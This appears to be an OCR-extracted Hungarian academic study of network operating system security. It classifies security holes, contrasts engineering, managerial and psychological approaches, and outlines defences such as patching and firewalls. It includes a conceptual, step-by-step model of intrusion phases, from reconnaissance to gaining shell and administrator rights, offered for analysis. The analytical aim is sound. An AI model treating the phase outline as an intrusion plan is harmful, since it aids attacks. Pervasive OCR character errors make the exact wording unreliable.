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Kivonat

A halézati operacids rendszerek biztonsagi problémai igen szertedgazoak.
Bar rengeteg gyakorlati tapasztalat van ezen a teriileten, kevés az elméleti
eredmény. Munkankban megismertetni és kérvonalazni kivanjuk a kiillénb6z6
jellegii biztonsagi réseket, problémdakat, majd ezek attekintése utan egy ka-
tegorizalasi lehetdséget mutatunk be.

A biztonsdgi problémékat nemcsak statikus, hanem dinamikus helyzet-
ben is tanulmanyozzuk, azaz a biztonsagi problémat leiré allapotot, kon-
figuraciot és ezek dinamikus viselkedését vizsgdljuk. Létrejové modelliink
alapja tehat egyrészt a gyakorlat, tapasztalat, masrészt az ismert biztonsagi
modellek és vizsgdlati iranyzatok.

A dolgozat keretében dttekintd, osszefoglald jelleggel ravilagitunk a védekezés
lehetOségeire. Megmutatjuk, hogy a biztonsagi problémakkal kapcsolatos fel-
merilo feladatok kevéssé algoritmizalhatdak, gyakorta intuitiv mdédszerekre
hagyatkoznak.

Ezeket a moédszereket sajat készitésti é16 példakkal illusztraljuk. Bemu-
tatunk egy web alapt biztonsigi rést és annak egyszerii kiaknazasat. Ha-
sonlé gond tobb nagy magyar Internet-szolgdltaté rendszerén is megfigyel-
hetd. Masik példankban egy ,,csapda-szamitégép” 1étrehozasat és biztonsagi
szempontjait, kornyezetét mutatjuk meg. A csapda célja bemutatni, ho-
gyan lehet felhaszndlni a biztonsagi problémak dinamikus viselkedésénél,
szamitégépes betorésnél hasznalt mdodszereket a biztonsag novelése és el-
lendOrzése céljabdl. A rendszertink alapvetd célja a potencidlis behatolé meg-
ismerése és a veszélyeztetett rendszerek sziirése.

A kutatdsaink eredményeképpen létrejott palyami alapjat adhatja tovabbi
vizsgalatoknak, hasznos lehet a téma irdant érdekl6d6knek 1j mdédszerek meg-
ismeréséhez, 1atokoriik bovitéséhez.
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Bevezetés

A szamitégépes biztonsag tudomanya egy interdiszciplindlis tudomény&g.
Interdiszciplinalis, mert nem 06nallé tudoméanyag, valamint tébb mas tu-
domanyaghdl hasznal fel eredményeket.

A szamitégépes biztonsagtechnika voltaképpen egy gyakorlatias keveréke
mas tudoményoknak: kriptogréfia (és matematika, mint héttere), szdmitdstudomany,
bonyolultsdgemlélet, algoritmuselmélet, de menedzsment, marketing és pszi-
choldgia is egyben. Az utébbi hdrom dolog valéjaban nem trividlisan kotdik
a biztonsagtechnikdhoz, de mint kés6ébb latni fogjuk, ez is szerves része a
probléméanak. Ezzel kezdédhetne egy tankonyv, melyet a szdmitégépes biz-
tonsagrol, esetleg sziikebben, az altalunk vizsgalt értelemben a halézatba
kotott, halézati operacids rendszerrel ellatott szamitégép biztonsagardl szélna.
Egyelore ennek a teriiletnek a szervezett, kotelezé avagy mély oktatasa még
nincs megszervezve egyetemiinkon, marpedig erre sziikség van.

A szamitégépes biztonsag régota ismert fogalom. Mar a kezdeti id6kben
kideriilt: a szamitogép, a technika fegyver. Hosszan taglalhatnank még, miért
fontos az, hogy egy halézatba kétott szamitégépen tarolt adatok biztonsagban
legyenek, és hogy ez a tudomanyag milyen fontos.

Ugy gondoljuk ezzel mar mindenki tisztdban van. Azonban még a téma
legjobb ismeri is tévedhetnek, még az is hasznalhat nem megfelelen biz-
tonsagos jelszot, aki pontosan tudja mennyire fontos a jelszavak kezelése,
karbantartasa.

Tanulmanyunkban tobb apro teriilettel kivanunk foglalkozni, tébb szem-
pontbdl kivanjuk bemutatni, mennyire fontos a téma alaposabb ismerete és
a részletesebb kutatds. Arra kivanunk ravilagitani, hogy elengedhetetlen lesz
a mainal lényegesen tobb figyelem forditasa erre a tertiletre.

[rdsunkban nem részleteziink minden hattéranyagot, és ismeretforrast.
Bizunk benne, hogy az olvasé tisztaban van a ma hasznalt szdmitégéprendszerek
alapfogalmaival, ismeri a TCP /IP hél6zatot, az alapveté UNIX parancsokat.
Amennyiben ennek ellenére nem igazodna ki lefrasunkban, kérjiik személyesen
keressen meg, szivesen segitiink,

Bencsdth Boldizsar, Tihanyi Sdndor



Fejezet 1

Szamitogépes problémak

csoportosithatosaga

1.1 Elméleti és gyakorlati eredmények

Az operéaciés rendszerek biztonsagi problémai kapcsan szamos elméleti
és gyakorlati eredmény van. A ,,guru” tudjak, hogyan lehet biztonsagosnak
itélhet6 rendszert 1étrehozni, és ezt jol karban is tartjak. A , hackerek” fo-
lyamatos tevékenységiik altal egyre Osszetettebb képet adnak és egyre tobb
hiba kijavitasat teszik lehetévé. A ,,tudomanyag szakért6i” kezében vannak
az elméleti eredmények.

Akkor tehat minden szép és j6? Nem, szamos probléma van. Itt most azt
emelném ki, hogy az elméleti és a gyakorlati élet erésen elvalik. Az elméleti
eredmények (Common Criteria ([1] és [2]), TCSEC ([15]), ITSEC [10] ...)
alkalmazhatéak egy olyan széttdarabolt, tagolt kérnyezetben, mint az inter-
net. Egy-egy bank megengedhet magdnak milliékba kertil biztonsagos fej-
lesztéseket, azonban a mai internetes nagyvallalkozasok tobbségének alapja
egy garazscég, ahol par fiatal 6cskavasbdl Osszerakott szamitogéprél kezdte
meg a vildg meghoditasat.

Ha pedig az elméleti eredmények széleskérben nem, vagy csak részben
vannak felhasznalva, az igen sok probléma forrasa. Természetesen ezeket
a problémékat az emlitett barkacsolé fiatalok maguktdl kijavitjak, vagy
legalabb kezelik. Ugyanakkor ez a nagyfoku kreativ tapasztalat nem tud
atmenni az elméleti életbe, ha nincs megfelel6 tamogatottsiaga. Ez a széttagoltsag
jelent ma igen nagy problémat a téméban.

Az is probléma, hogy nincsenek olyan biztos alapon allé eredmények,
melyekre egyértelmen lehet épiteni. Senki nem tudja bebizonyitani a ne-



gyedszéazados titkositasi eljarasokrdl (RSA, Diffie-Hellman, IDEA, .. .), hogy
nem, vagy csak igen nehezen feltorhetek. [jgy hissziik, hogy nem, vagy csak
nehezen lehet feltorni ezeket, de példaul mar csak az elosztott rendszerek
segitségével is sikeriilt ledonteni a falak egy részét.

Growth in Security Incidents
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abra 1.1: A host-ok széma és a biztonsigi problémak novekedése a CERT kimutatdsa

alapjan

A legegyszeriibb rutinrdl is bebizonyosodhat tehat, hogy egy adott rend-
szerben, adott kornyezetben nem felel meg az elvarasoknak. Igy ha biz-
tonsagi problémakat vizsgalunk, mindig egy rendszert, egy teljes kornyezetet
kell vizsgalni.

A szédmitégépes problémék csoportosithatésdga nem egyszerii feladat.
Maér az sem egyszeri feladat, hogy valamirdl megallapitsuk: biztonsdgi hiba,
probléma-e avagy nem.

Vegyiink egy egyszert példat:

Az eqyik szdmitégépiink eqy lokdlis hdaldzaton figyeli a gyanis
halozati forgalmat és ezeket réogziti. Ez magdban rejt eqy gondot,
tdmaddsi lehetdséget: Ha a valamely felhaszndlo tudja, mikor ge-
nerdl hamis pozitivokat a hdldozatfigyel program, azaz tud olyan
valos, de gyanisnak vélhet forgalmat generdlni, amit a rendszer
naploz, ugyanakkor indokolni is tudja a forgalom sziikségességét,
akkor bizony a megfigyeld szdmitogép véges hdattértira hamar be-
telhet.
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abra 1.2: Internet host-ok szdmanak novekedése, hosszabb tavi trend

Miutan pedig megtelt a hdttértdar, az okos tdmadsé mdr min-
denféle naplobejegyzés létrejovetele nélkil torhet be eqy megcélzott
szamitogépre.

Mindenki ldthatja: biztonsdgi probléma van, a naplézds mi-
att magasabbnak hitt biztonsdgi szintet nem érjik el. A probléma
oka, hogy a szamitégépek nem végtelen tdrral rendelkeznek, mint
egy Turing gép, és ez pontosan elegendd, hogy az elméleti vildg
régi modszerei ne lehessenek alkalmazhatoak egy gyakorlati szitudcioban.

Mint lathaté, ha pontosan ismerjiik egy program vagy egy egész rend-
szer minden komponensének miikodését, akkor sem lehet algoritmikusan
eldonteni valamirél, hogy biztonsagi gondot jelent-e. A rendszert nem tud-
juk csak statikusan vizsgalni, azaz nem lehet, vagy nem célszeri a rendszert
csak egy adott allapotaban vizsgélni, hogy problémas-e ez az allapot. Sokkal
célszerbb egy rendszert dinamikusan, folyamatként vizsgalni.



1.2 Biztonsagi problémak megkozelitésmaodjai
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abra 1.3: Megkozelitésmddok

Ha tovabb boncolgatjuk a problémat, akkor a kdvetkezdket figyelhetjiik
meg. A szamitogépes biztonsagi kérdéseket dltalaban harom szemszogbol
szokas megkozeliteni (1.3. dbra):

e Az elsé, dltalanos, legegzaktabb megkozelitési méd a mérndki megkozelités:

A mérnoki preciz, tudoményos megkozelités a hibamentes rendszert
veszi alapul. Célja 100%-ig biztonsagos rendszer kidolgozésa, és tgy
gondolja, elérhetd ez a cél. A hibalehetségeket egy 1j elvli mkddéssel
megprébalja meg elkeriilni (paldaul protected méd, felhasznél6i azo-
nositas), vagy a fellép6 hibékat javitani, a hibalehetségektol a rendszert
védeni. Mindenképpen biztonsagossa kivanja tenni a rendszert, ez az
egyediili elfogadhatd cél.

A masodik megkozelitési forma egy menedzseri megkozelités:

A cél koltséghatékony, miikodképes biztonsigpolitika megteremtése.
Nem fontos a biztonsdg, ha az pénzbe keriil, illetve nem érdemes ra
addig kolteni, amig nem muszdj. A megel6zésnél fontosabb lehet az
utélagos védekezés (holott ez valéjaban sokkal nagyobb kért jelent). A
menedzseri megkozelités szempontjabdl nem kell 100%-o0s biztonsagra
torekedni, de az esetleges karokat minimalizalni kell. Olyan rendszert
kivan felépiteni, ami ha Gssze is omlik, hamar helyreallithaté.

A harmadik megkozelités a pszicholdgiai megkozelités:

A pszicholégiai szemmel alkotott biztonsagpolitika a tdmaddkra és a
tamadasok hatterére épit. Ki tor be egy rendszerbe? Miért tér be
a rendszerbe? Informéciét akar ellopni? Hogy és hol taroljuk az in-
formaciot, hogy ne akarja ellopni? Haragban &ll valakivel, és csak igy
tudja levezetni? Hogy lehet kikeriilni azt, hogy tdmadjon?

Természetesen létezhet sok egyéb megkozelités (példaul a lusta megkdzelités,

amikor a 6 elv hogy semmit ne csinaljunk), azonban véleményiink sze-
rint a fenti kategorizalds igen célszer(i, és hasznalhatéan csoportositja
a kezelési modokat.



1.3 A megkozelitési formak gyakorlati példakban

A fenti szemléletmdédokra adunk par példat:

e A mérnoki, preciz biztonsagpolitikat bankokndl, allamhivatalokban fi-
gyelhetjiik meg. Itt elosdleges szempont a teljes biztonsag. Természetesen
ez nem érheto el, de igény van ra. A nem elérhet6 szaz szazalékos biz-
tonsdg el nem fogaddsa viszont sulyos ellentmondédsdval problémékat
hordoz magédban:

— Szervezeti, strukturélis bizonytalansag, konfliktusforras.
— Gazdasagilag nem igazan hatékony.

— Koncentraciés problémak. A cél a 100%, ezért nem tud a legfon-
tosabb problémara koncentralni, és igy silyos gondok 1éphetnek
fel.

— Széttagoltsdg. Az elobbibdl kévetkezik.

Ez a megkozelitési méd az elméleti élet megkozelitési modja.

e A menedzseri megkozelités a gyakorlatban elfordulé leggyakoribb elv:
a legtobb vallalat kezdetben nem rendelkezik biztonsagpolitikaval, és
csak az els6 problémak utdn hozza létre. Csak olyan megoldasokat
fogad el (még ha szabédlyban tobbet rogzit is), amely hatékonyan meg-
oldhato, és amelyeket az emberek képesek atlatni.

Ez a megkozelitési méd a gyakorlati élet megkozelitési mddja.

e A pszicholégiai szempontot azok hasznéljak, akik humén irdnybdl kozelitik
meg a témat. Ugyan a pszicholdgiai szempont Ugy tiinik 6nalléan sem-
milyen megoldédst nem hozhat, mégis gy érezziik, alkalmas ez a szem-
pont a harmadik tagolési elv 1étrehozaséra.

Alljon itt egy kis legenda (forrasat nem ismerjiik, szajhagyomany itjan
terjedt):

Az USA egyik szamitégépét gyakorta feltorték és lefa-
gyasztottak. Ezen a szamitogépen egyszerre tobb tizen dolgoz-
tak, igy sok ember életét keseritette meg a dolog. A szamitégép
védelmének erdsitése helyett ezutan a kovetkezot tették: ki-
raktak eqy papirt: ,,Ha beirod, hogy stop, az egész szamitégép
ledll és senki nem fog tudni dolgozni. Kérlek hagyd dolgozni
az embereket!”

Mindenkinek lehetdsége volt tehdt a rendszert kikapcsolns,
nem volt szikséqg trikkos feltorésre. Megszint a vardzs és a
vonzerd. Fzutan joval kevesebbszer volt gond a gép rosszin-
dulati ledlldsdval.



Ezt a mentalitast tehat altaldban egy tdrsadalomtudds valaszthatna.

A fent vazolt megolddsok, mentalitdsok tisztén igen ritkén jelentkeznek.
Mindenki megprébélja a lehet6 legjobb mdédszert, mdédszereket kivélasztani.
Nagyon ritkan lat az ember azonban olyan atgondolt biztonsagpolitikat,
amelyik minden feltételt teljesit. Ez nemcsak teljes informatikai rendszerek
védelmére vonatkozik, hanem igaz kisebb egységekre is. A firewall-ok, a
UNIX és mas eszkozok tobbsége példaul az all or nothing, mindent vagy
semmit elvre épit, azaz amig nem tornek be egy ilyen rendszerbe, addig
teljes a biztonsag; betorés, rendszergazdai jogosultsagok birtokdban viszont
mar mindenre van lehetoség.

Vannak kiilonbségek a rendszerek kozott ebben a tekintetben is, a biz-
tonsagi kérdések esetenként finomithatéak is, pl. UNIX alatt a sudo program
segitségével. Ekkor egyes privilegizalt felhasznaloknak médjuk van rendszer-
gazdai jogosultsagokkal bizonyos parancsokat kiadni. fgy ezen jogosultsdgok
megszerzése nem az egész rendszert tenné lyukassa, csak bizonyos progra-
mokat. Ennek ellenére még igaz: a korlatlan rendszergazdai jogok gyakran
megszerezhetéek, azaz a rendszer feltérhetd, és igy a teljes rendszer biz-
tonsidga megsemmisiil.

Egy atgondolt rendszerben a jogosultsagok jol koriilhatdroltan jonnek
létre, létezik biztonsagi politika, a rendszer nehezen feltorhetd, ugyanakkor
a szitkséges feladatok elvégzése nem nehézkes. Ha egy ilyen rendszert mégis
feltornek, akkor a helyreallitas szinte azonnal megteheté: van mentés, de
ellendrizhetd a rendszer integritasa is, s6t, arra automatikus figyelmeztetések
is késztetnek. Emellett egy ilyen rendszer olcsé és hatékony is.

Ez a mi elképzelésiink egy biztonsdgos rendszerrol, de sajnos a gyakorlati
életben ez gyakran nem miikodik. A kiilénb6z6 szemléletmddok léte csak a
probléma egyik forrasa. Hasonlé gondot jelent az is, hogy korlatozott az
emberi eroforras és a koltségvetés ilyen célokra.

Oriési problémat jelent az, ha egy rendszergazda a biztonsdg érdekében
tal szigord rendszabalyokat hoz meg. Ha ugyanis tul sok felhasznaldt korlatoz
a napi munkaban, viszont a sziikséges segitséget nem, vagy csak ritkén,
lassan adja meg, akkor a felhasznaldk rdkényszerilnek a rendszer feltorésére.
(Ilyenkor egyes tapasztalt, hozzaért6 felhaszndldk gy érzik, kénytelenek 6k
megtenni azt, amit a rendszergazda beldthaté idén beliil nem tesz meg, de
természetesen erre csak a gép feltorése esetén van médjuk. Ekkor viszont a
rendszer integritdsa sériil és ez ijabb gondokat okozhat.)

1.4 Biztonsagi problémak osztalyozasa

A biztonsagi problémékat mindenki osztalyozza valahogyan. Ez a cso-
portositas, osztalyozas azonban intuitiven torténik, és csak ritkdn latunk



megalapozott modszert. Egy csoportositast akkor tekinthetiink jonak, ha
biztositja a funkcionalis elkiiloniilést, megfelelé méretii halmazokat alkot
(sem tul nagy celldk, sem t1l kicsi), tiszta elvekre épiil, az egyes elemek vi-
szonylag egyszerlien és egyértelmiien besorolhatdak a megfelelé csoportba.

Egy jo csoportositds esetén a kategoriakialakitds elve és az elnevezési
modszer is egységes. A kategéridk, alkategoriak szamanak is akkordnak kell
lennie, hogy az atldthatd, hasznalhaté struktirat hozzon létre. A katego-
rizélas egyik célja az informacidk elkiilonitett gytijtésének lehet6vé tétele.
Célja, hogy a kategdria emlitésével egy olvasé olyan altalanos informéacidkhoz
jusson, melybdl sok k6zos informéaciora, tulajdonsagra tud kévetkeztetni.

A csoportositds biztonsagi témékban a feladat nehéz a kovetkezék mi-
att: szamos probléma van, igen széles a biztonsagi problémadk teriilete. Egyes
témakorokben igen sok gond mertil fel, sok eset kapcsolédik hozza, mig més
témak esetén csak egy-egy gond jelentkezik. Egy probléma gyakorta tobb
témakort is atfog. Egy probléma besoroldsakor is tébb gond meriil fel, mivel
a problémét elméleti sikon, de gyakorlati helyzetben (adott konfigurdciéban,
adott programndl, adott operacids rendszerben, adott szamitégép-architektirdban)
is vizsgalni lehet.

Példaul egy biztonsdgi probléma a kernelben, amikor eqy fut-
tathato fajl stackje sériilhet, és ezdltal rendszergazdai jogosultsdgok
vdlnak elérhetové rengeteg modon csoportosithato.

Nézziik meg, milyen csoportositasi lehetdségeket talalunk az irodalom-
ban. A biztonsédgi kérdések atfogd csoportositasara [22] és [21]-ben ldthatunk
példat.

A biztonsagi lyukak keletkezési okai:

e Szindékos

— Rosszindulati
x Tréjai fald
- Nem terjed
- Terjed (virus)
* Kiskapu (trapdoor)
* Logikai/id6 bomba
— Nem rosszindulati
* Rejtett csatorna (covert channel)
- Tarolas
- Td6zités

x Egyéb
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o Véletlen

— Validacids hiba (Nem teljes vagy inkonzisztens)

— Domain hiba

— Sorrendi hiba (ellenérzés és felhasznélds ideje eltér)
— Azonositas/hitelesités nem megfelel

— Hatarérték feltételek megsértése

— Egyéb logikai hiba

A csoportositas probléméi a kovetkezoek:

Tl kevés csoport van, igy tovabbi alcsoportokat kellene képezni; egyes
csoportokba igen kevés hiba tartozhat (pl. sorrendi hiba), mig més csopor-
tok tul atfogdak (hatarérték-feltételek megsértése, egyéb logikai hiba). Ez
utébbi kategoéridkba belesorolhaté olyan hiba is, amit mar mas csoportba is
besoroltunk, illetve nem ad mdédot arra, hogy kell6képpen kiilonvalasszuk a
hibakat, valamint a csoportositassal jellemz6 informaciot adjuk azokrol.

Ez a csoportositds egyszeri és tomor véazlata miatt azonban jobban
hasznalhaté, mint m&s csoportositasok. Nagyon sok koényv, mint a Wil-
liam R. Cheswick - Steven M. Bellovin: Firewalls and Internet Security c.
munkéja [4] részletesen térgyal biztonsdgi problémdakat (itt f6leg halézati
operécios rendszerek hibairdl van szd, nem a hitelesités, kdédolas kérdéseirdl,
de természetesen a téma igen széles korli). A részletes targyalds ellenére
nincsen megfeleld csoportositas.

A 9. fejezetben targyalt tdmadasi modok példaul a kévetkezdk:
o Steeling passwords,

e Social Engineering,

e Bugs and Backdoors,

e Authentication Failures,

e Protocol Failures,

e Information Leakage,

e Denial of service

A Social Engineering csoport besoroldsa fontos bévités a [22] szerinti
csoportosithatdsdghoz képest. A utébb emlitett munkdban ugyanis nincsen
beépitve a biztonsagi lyukak keletkezési mddjaiba az emberi hibatényezd,
csak implicit médon. Es noha a biztonsdgi médszerek tervezésekor az emberi
hibatényez6 mindig beleértendd a problémékba, addig mindig adédik olyan
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hibalehetdség, ami kizérdlag emberi tényez6tdl fiigg. (Erre egy példa, ha
a rendszergazda telefonos megkeresésre hajlandé kicserélni barki jelszavat,
vagy valaki személyes kérésére csindl 1j felhasznaldi azonositét, pedig ezt a
kérést nem kellett volna teljesitenie.)

Az emlitett konyvben a biztonsdgi problémék csoportositasa egy fejezet-
sorrendet kovet: Ahogy az ird/szerkeszté a konyvet szerkeszti, gy csopor-
tositjak a hibakat. Hasonlé a helyzet az interneten tobb helyen: Ha valaki
biztonsagi problémékkal foglalkozé weblapot hoz létre, akkor valamilyen nem
igazan megalapozott, egyszerii mddszerrel prébalja a hibdkat kategorizalni.
Ezekben az esetekben &ltaldban egyenletesebb csoportositas torténik, egy-
egy kategdridba hasonld szamu eset keriil. Az elméleti megalapozottsag és
az egységes kategoriakialakitas viszont hidnyzik ebben az esetben.

1.4.1 Javaslatok

A csoportositas kidolgozasa komoly feladat, mi sem véllalkozunk ebben
a munkaban a teljes csoportositas kidolgozasara. Szeretnénk viszont bemu-
tatni par aprébb dolgot, amit célszerli lenne a csoportositas soran alkal-
mazni.

A csoportositasi modszerek a hibdkat, probléméakat tobbnyire egy-egy
tulajdonsag megragaddasaval statikus helyzetben kivantdk megfigyelni. Fon-
tosabb azonban maga a folyamat, ahogy egy rendszer integritasa sériil.

Adjunk meg erre egy példat:

e Informéciét gytijtenek a célgéprol. (finger, web, portscan-elés, kédolatlan,
gyengén kédolt adatok megfigyelése, més rendszerek jelszavainak vizsgélata)

e Tévolrdl elérhetd hibdkat prébalnak ki. (CGI hibék, sendmail hibék,
gyenge jelszavak, egyszerii felhaszndléi azonositék stb.)

e A firewall, IDS rendszer atengedi prébélkozasaik egy részét.

e Valamelyik tdmadés sikeres, igy shell eléréshez jutnak. (Ez mar UNIX
specifikus lehet.)

o A szerzett shell segitségével felderitik, mi van a szamitégépre ins-
tallalva.

e A felhasznalt informacié alapjan tamadast kisérelnek meg, adminisztratori
jogok megszerzése céljabol.

e Valamely hiba kihasznaldsdval adminisztratori jogokhoz jutnak. (Sike-
res tamadas, példaul buffer overflow, hibas symlinkek, race condition,
gyenge jelszé, rossz CGI, stb.)
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e A firewall, IDS rendszer nem jelez, a felhasznal6 kizdrdasa nem torténik
meg.

e Az el6z6 harom pont valamelyikétél kezdve tamaddast indithatnak a
rendszer mds szdmitégépe ellen. (Atlépési lehet&ség mas gépre (rsh,
ssh, stb), lehallgatas (X window, telnet, stb), gyenge kédok, kédolatlan
folyamok megfigyelése, firewall-on &t nem elérheté gépek tdmaddasa.)

e A tadmaddék a rendszer Osszes szamitogépén adminisztratori jogokat
szereznek, igy a rendszer teljesen feltortnek nyilvanithato.

A fenti folyamat, noha még igy is sok egyéb lehetéséget tartalmaz, médot
ad egy olyan kategorizaldsra, amelynek viszonylag egyszerl és egyértelmi
elvi megalapozottsdga van. A gyakorlati életben is kénnyen hasznélhato, in-
forméciét nyidjt a problémékrél. A besorolas hierarchikus, bévithets. Tobb-
szintli kifejtést tesz lehetGvé, az egyes 1épések alatt tovabbi alszinteket, al-
ternativ lehetOségeket hagy.

A besorolas probléméja, hogy egyes tamadésok tovabbra is tobb helyre
besorolhatdak, mig mas tamadasok egy ilyen egyszerli folyamatbdl kima-
radnak. Mindenesetre célszeriinek latszik egy ilyen, a tdamadds fazisokra
bontasaval létrehozott felosztas készitése. (Mint tudjuk, a kdosz alapja az
egyszeri inverzié — az algoritmuselméletben és mas matematikai teriileteken
is hatékonyan alkalmazhaté a problémafelbontds modszere, véleményiink
szerint itt is ez az egyetlen jarhaté t.)

A fenti folyamatot a mellékelt folyamatdbraval mutatjuk be. Természetesen
a folyamatdbra helyett elképzelhetd, hogy mas hasonld elvii megoldasok is
jol alkalmazhatdak. A folyamatot at lehet alakitani esetleg Petri haléra, vagy
a hittérito-kannibdl probléma mddjara matrixos formaba is lehet alakitani.

Ebben az esetben a matrix minden sora megfelelhet a rendszer egy
allapotédnak (a teljes integritdstél — az abszolut feltorésig). Az allapotok
kozotti Atmeneteket egy-egy bizonsagi résnek feleltethetjiik meg (Természetesen
ezek tobb uton létrejohetnek, toébb gond is okozhat azonos konfiguracié-
atmenetet.) A matrix (i,j) eleme pedig vagy 0 vagy 1 annak megfeleléen,
hogy az i. konfiguracid esetén j. konfiguracidoba valé atmenet 1étezik-e.

Az dtmeneti matrix felirdsaval arra van méd, hogy megallapitsuk, elérhet6ek-

e a konfigurdcié bizonyos dllapotai. Ez a folyamatdbrds megolddsban természetesen
sokkal trividlisabbnak latszé feladat, ez a moddszer azonban komplexebb
problémaékat tud megoldani: egy viszonylag nagy rendszerbdl, 6sszetett, atlathatatlan
problémak esetén is létre lehet hozni egy megfelel6 matrixot, es a matrix
hatvanyozasa &altal egyértelmiien megadhatéak az elérheté konfigurdcidk.

Ha tehat bonyolult rendszerrol van szd, akkor egyszeri, viszonylag gyorsan
végrehajthaté matrixmiiveletekkel automatizaltan juthatunk eredményekre.
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A maétrixos felirdst az nehezitheti meg, ha egy-egy hibdnak specidlis kon-
figurdci6 az eléfeltétele. Ilyen esetekben az adott specialis konfiguraciét is fel
kell venni a konfiguracidk kozé. Ilyen moédon a matrix igen nagy méreteket
érhet el.

A folyamatdbras, esetleg Petri-halés feliras elénye a konnyti vizualizalhatosag,
segitségével a feltorés folyamatanak elvi modelljét lehet konnyen vizudlisan
bemutatni.

A fent emlitett médszereket, hasonlé vizsgalati megkozelitéseket az altalunk
fellelt szakirodalomban nem nagyon taldltunk. A legtébb eredmény vagy
gyakorlati sikon sziiletett, ahol az ilyen megkozelitések, mint a fenti model-
lek, nem sziikségesek, vagy — egyelOre — til bonyolultnak tiinnek. Az elméleti
eredmények pedig sokkal inkdbb algoritmikus és kriptografiai problémakra
koncentréalnak.

Szeretnénk tehat felkelteni a figyelmet, hogy a téméaban igen szertedgazo
kutatdsi lehetdségek vannak. (Természetesen elképzelhetd, hogy egy-egy vo-
nalon mi magunk is tovabbi kutatdsokat fogunk eszko6zolni.)

1.5 A védekezés modszerei

A halbzati operacios rendszerrel rendelkezé szamitégépen torténd védekezésnek
szdmos teriilete van. Ezek egy részét részletesen megtaldlhatjuk példaul [20]-
ban [6]-ban

Fontosnak tartjuk azonban par fogalom tisztazasat jelen munkédban is.

Az elsd és legfontosabb biztonsdgi pont egy szdamitégépes rendszerben
a konfiguracié megfelel¢ beallitdsa. Ebbe tartozik a jogosultsagok megfelel6
kiosztdsa, megfelel6en biztonsagos jelszavak hasznélata (késébb még foglal-
kozunk a témaval), az informécick megfeleld tarolasa stb. Ezeket most nem
részletezziik b&vebben.

1.5.1 Programhibak elleni védekezés

Az Internetes betorések tobbsége ma egy adott programban felfedezett
hiba kihasznélasat jelenti. Ezek a hibdk nyilvanossigra keriilnek és rovi-
desen megjelenik valaki, aki ennek a hibanak a kiaknazasara programot
készit. Az elkészitett ,,exploit”, a hibat kihasznalé programocska az Inter-
net sebességének koszonhetden fél nap alatt kozismertté vélik (pl. a BugT-
raq levelezési lista segitségével). Ezutdn barki ki tudja haszndlni ezt a biz-
tonsagi problémét, aki megszerzi ezt a programot, és minimalisan ért a
szamitogépekhez. Emiatt kiilondsen nagy a veszély: A feltorést megkisérlé
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személy nem biztos, hogy ért az adott operacids rendszerhez, igy akar véletleniil
is adatvesztést, rendszertsszeomlast tud eldidézni.

A programhibdk elleni védekezés a hiba napvildgra keriilése el6tt igen
nehéz. Miutan viszont kideriilt a programhiba, napokra ra meg szokott je-
lenni a hiba javitasa is. Ekkor pedig a megoldés igen egyszerii: a lehetd legha-
marabb frissiteni kell. A legtébb nagy UNIX rendszer, és az ingyenes Linux
opericids rendszerek is naprakész biztonsagi frissitéseket tartalmaznak, és
akar 5-10 perc alatt rendbe lehet tenni. Rengeteg rendszergazda ennek el-
lenére, fOleg tulterheltség miatt, és mert tul sok feladatkore van, elfelejtkezik
a frissitésekrol. Ekkor a rendszer akar tobb honapig is gy miikoédhet, hogy
biztonsagi hiba van a rendszerben. (Elé példaként az egyik nagyobb magyar
Internet-szolgaltaté kozponti gépe szeptember elején is feltorheté volt egy
majusban napvilagra keriilt hiba kovetkeztében, ezt csak figyelmeztetésiink
utdn javitottak, addig tobb ezer felhasznal6é potencidlis célpontja lehetett a
hiba.)

A rendszeres frissités probléméja azért egyre nagyobb gond, mert ma
mar a szerverek, illetve az annak szamité szamitogépek gy elterjedtek, hogy
egy rendszergazdanak tobb, (akér tobb 10!) ilyen gépen kell a frissitéseket
elvégezni, mig egy egyszerli felhasznald esetleg gépéhez is alig ért, és igy
kellene a rendszer frissességét és biztonsagossidgat megorizni.

Ez a gond Windows NT kornyezetben fokozdédik azzal, hogy a hiba-
javitasok csak tobb héttel a hiba kideriilése utan jelennek meg. Ezen tilmenden
a Microsoft altal publikélt hibdk kezelése viszonylag atlathatatlan, a javitasok
letoltése nehézkes lehet, és ha mindez még gyorsan sikeriilne is, akkor is
majdnem minden esetben a rendszer djrainditasat koveteli meg egy ilyen
hiba javitdsa, még ha arra gyakorlatilag nem is lenne sziikség. (Megnézhetjiik
viszont a Sun hibajavitdsait - még a kernelpatch! esetén sincs sziikség a gép
Ujrainditdsédra, igy a kiilonosen fontos helyeken is egyszerti a frissités.) A Mic-
rosoft esetében a javitott hibak, a rendszerfajlok pontos allapota, a rendszer-
komponensek verziéja igen nehezen kévethetd, raadasul nem ritkdn kompati-
bilitdsi problémak is felvetddnek (példdul a Service Pack 5 és egyes program-
rendszerek esetében). Nem allitjuk, hogy lehetetlen ezen problémak kovetke-
zetes és hozzaérto kezelése, viszont az eredmény egy viszonylag atlathatatlan
rendszer, ami a tokéletes biztonsdg érdekében igen gyakori frissitést igényelne.
Mégis: a Windows NT rendszergazddk tobbsége abszolut nincs tisztdban a
rendszer biztonsagi allapotaval.

A Microsoft a kovetkez6é években mindenképpen ré fog kényszeriilni a
rendszerkomponensek verzidkarbantartasanak feliilvizsgalatara az egyszertibb
kezelés és javitas érdekében. Az 1j mddszerek megjelenése nemcsak a Micro-
soft esetében valészintisithetd, a [14] dokumentumban felvézolt jovokép sze-
rint példaul az elkovetkezd 10 évben az 6njavito, adaptiv renszerek 1étrejottére

! A rendszer magjat érinté hibajavitas
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kell szamitani ezen a teriileten.

1.5.2 Firewall-ok

A védelem maésik, ma leggyakrabban megtalalt médja a firewall (tiizfal)
alkalmazdsa. A firewall korunk biztonsagi buzzword-je, amit minden a témahoz
ért6 vagy érteni akaré embere ismer.

A firewall egy olyan szamitégép vagy halozati eszkoz, amely kapcsolatot
teremt egy védett és egy "kiils6” szamitégéphdldzat kozott, és el is vagja
a kettot egymastdl. Kapcsolatot teremt, mert atengedi a megfeleld, biz-
tonsdgos forgalmat, és elvag, a nem biztonsagos, sziikségtelen, vagy gyants
forgalmat nem engedi at. Egyes firewall-oknak eltitkolé szerepe is van: A
mogotte levé védett halézatrdl kevés informéciét enged at (példdul nem
adja ki az eredeti kérés IP cimét, az eredetileg kapcsolatot kezdeményez6
gép nevét, illetve eltitkolja példdul a kérést végzd gép operacids rendszer
verzidjat. Ez egy security-through-obscurity megoldas — az informéacié hianyaval
noveljiikk a biztonsdgot, illetve valoban elfedjiik a forrasgépet, arra kozvet-
leniil forgalom visszafele nem irdanyulhat.)

A firewall-oknak két alapvetd tipusa van, a packet filtering firewall, amely
az egyes csomagok viszonylag buta sziirésével végzi a forgalom szabalyozédsat,
